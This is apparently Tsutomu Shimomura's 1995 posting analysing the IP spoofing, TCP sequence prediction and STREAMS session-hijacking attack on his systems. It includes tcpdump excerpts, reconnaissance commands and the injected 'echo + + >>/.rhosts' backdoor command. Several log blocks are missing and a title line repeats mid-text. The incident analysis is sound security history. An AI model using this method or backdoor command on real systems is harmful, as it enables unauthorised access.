Greetings from Lake Tahoe.

There seems to be a lot of confusion about the IP address spoofing and connection hijacking attacks described by John Markoff's 1/23/95 NYT article, and CERT advisory CA-95:01.

Here are some technical details from my presentation on 1/11/95 at CMAD 3 in Sonoma, California. Hopefully this will help clear up any misunderstandings as to the nature of these attacks.

Two different attack mechanisms were used. IP source address spoofing and TCP sequence number prediction were used to gain initial access to a diskless workstation being used mostly as an X terminal. After root access had been obtained, an existing connection to another system was hijacked by means of a loadable kernel STREAMS module.

Included in this note are excerpts from actual tcpdump packet logs generated by this attack. In the interest of clarity (and brevity!), some of the data has been omitted.

I highly recommend Steve Bellovin's paper and posts on IP spoofing, as he describes in more detail the semantics of the TCP handshake, as well as making some suggestions on how to defeat this attack.

My configuration is as follows:

server = a SPARCstation running Solaris 1 serving my "X terminal"
x-terminal = a diskless SPARCstation running Solaris 1
target = the apparent primary target of the attack

The IP spoofing attack started at about 14:09:32 PST on 12/25/94. The first probes were from toad.com (this info derived from packet logs):

```
14:09:32 toad.com# finger -l @target
14:10:21 toad.com# finger -l @server
14:10:50 toad.com# finger -l root@server
14:11:07 toad.com# finger -l @x-terminal
14:11:38 toad.com# showmount -e x-terminal
14:11:49 toad.com# rpcinfo -p x-terminal
```

TSUTOMU SHIMOMURA'S NEWSGROUP POSTING WITH TECHNICAL DETAILS OF THE ATTACK DESCRIBED BY MARKOFF IN NYT

14:12:05 toad.com# finger -l [root@x-terminal](#)

The apparent purpose of these probes was to determine if there might be some kind of trust relationship amongst these systems which could be exploited with an IP spoofing attack. The source port numbers for the showmount and rpcinfo indicate that the attacker is root on toad.com.

About six minutes later, we see a flurry of TCP SYNs (initial connection requests) from 130.92.6.97 to port 513 (login) on server. The purpose of these SYNs is to fill the connection queue for port 513 on server with "half-open" connections so it will not respond to any new connection requests. In particular, it will not generate TCP RSTs in response to unexpected SYN-ACKs.

As port 513 is also a "privileged" port (< IPPORT_RESERVED), server.login can now be safely used as the putative source for an address spoofing attack on the UNIX "r-services" (rsh, rlogin). 130.92.6.97 appears to be a random (forged) unused address (one that will not generate any response to packets sent to it):

```

TSUTOMU SHIMOMURA'S NEWSGROUP POSTING WITH TECHNICAL DETAILS OF THE ATTACK DESCRIBED BY MARKOFF IN NYT

server generated SYN-ACKs for the first eight SYN requests before the connection queue filled up. server will periodically retransmit these SYN-ACKs as there is nothing to ACK them.

We now see 20 connection attempts from apollo.it.luc.edu to x-terminal.shell. The purpose of these attempts is to determine the behavior of x-terminal's TCP sequence number generator. Note that the initial sequence numbers increment by one for each connection, indicating that the SYN packets are **not** being generated by the system's TCP implementation. This results in RSTs conveniently being generated in response to each unexpected SYN-ACK, so the connection queue on x-terminal does not fill up:

Note that each SYN-ACK packet sent by x-terminal has an initial sequence number which is 128,000 greater than the previous one.

TSUTOMU SHIMOMURA'S NEWSGROUP POSTING WITH TECHNICAL DETAILS OF THE ATTACK DESCRIBED BY MARKOFF IN NYT

We now see a forged SYN (connection request), allegedly from server.login to x-terminal.shell. The assumption is that x-terminal probably trusts server, so x-terminal will do whatever server (or anything masquerading as server) asks.

x-terminal then replies to server with a SYN-ACK, which must be ACK'd in order for the connection to be opened. As server is ignoring packets sent to server.login, the ACK must be forged as well.

Normally, the sequence number from the SYN-ACK is required in order to generate a valid ACK. However, the attacker is able to predict the sequence number contained in the SYN-ACK based on the known behavior of x-terminal's TCP sequence number generator, and is thus able to ACK the SYN-ACK without seeing it:

```
14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0) win 4096
14:18:36.755522 server.login > x-terminal.shell: . ack 2024384001 win 4096
```

The spoofing machine now has a one-way connection to x-terminal.shell which appears to be from server.login. It can maintain the connection and send data provided that it can properly ACK any data sent by x-terminal. It sends the following:

```
14:18:37.265404 server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096
14:18:37.775872 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096
14:18:38.287404 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096
```

which corresponds to: 14:18:37 server# rsh x-terminal "echo + + >>/.rhosts"

Total elapsed time since the first spoofed packet: < 16 seconds

The spoofed connection is now shut down:

```
14:18:41.347003 server.login > x-terminal.shell: . ack 2 win 4096
14:18:42.255978 server.login > x-terminal.shell: . ack 3 win 4096
14:18:43.165874 server.login > x-terminal.shell: F 32:32(0) ack 3 win 4096
14:18:52.179922 server.login > x-terminal.shell: R 1382727043:1382727043(0) win 4096
14:18:52.236452 server.login > x-terminal.shell: R 1382727044:1382727044(0) win 4096
```

We now see RSTs to reset the "half-open" connections and empty the connection queue for server.login:

```
14:18:52.298431 130.92.6.97.600 > server.login: R 1382726960:1382726960(0) win 4096
14:18:52.363877 130.92.6.97.601 > server.login: R 1382726961:1382726961(0) win 4096
14:18:52.416916 130.92.6.97.602 > server.login: R 1382726962:1382726962(0) win 4096
```

TSUTOMU SHIMOMURA'S NEWSGROUP POSTING WITH TECHNICAL DETAILS OF THE ATTACK DESCRIBED BY MARKOFF IN NYT

14:18:54.097093 130.92.6.97.629 > server.login: R 1382726989:1382726989(0) win 4096
```

server.login can again accept connections.

After root access had been gained via IP address spoofing, a kernel module named "tap-2.01" was compiled and installed on x-terminal:

```
x-terminal% modstat
Id Type Loadaddr Size B-major C-major Sysnum Mod Name
1 Pdrv ff050000 1000 59. tap/tap-2.01 alpha
```

```
x-terminal% ls -l /dev/tap
crwxrwxrwx 1 root 37, 59 Dec 25 14:40 /dev/tap
```

This appears to be a kernel STREAMS module which can be pushed onto an existing STREAMS stack and used to take control of a tty device. It was used to take control of an already authenticated login session to target at about 14:51 PST.
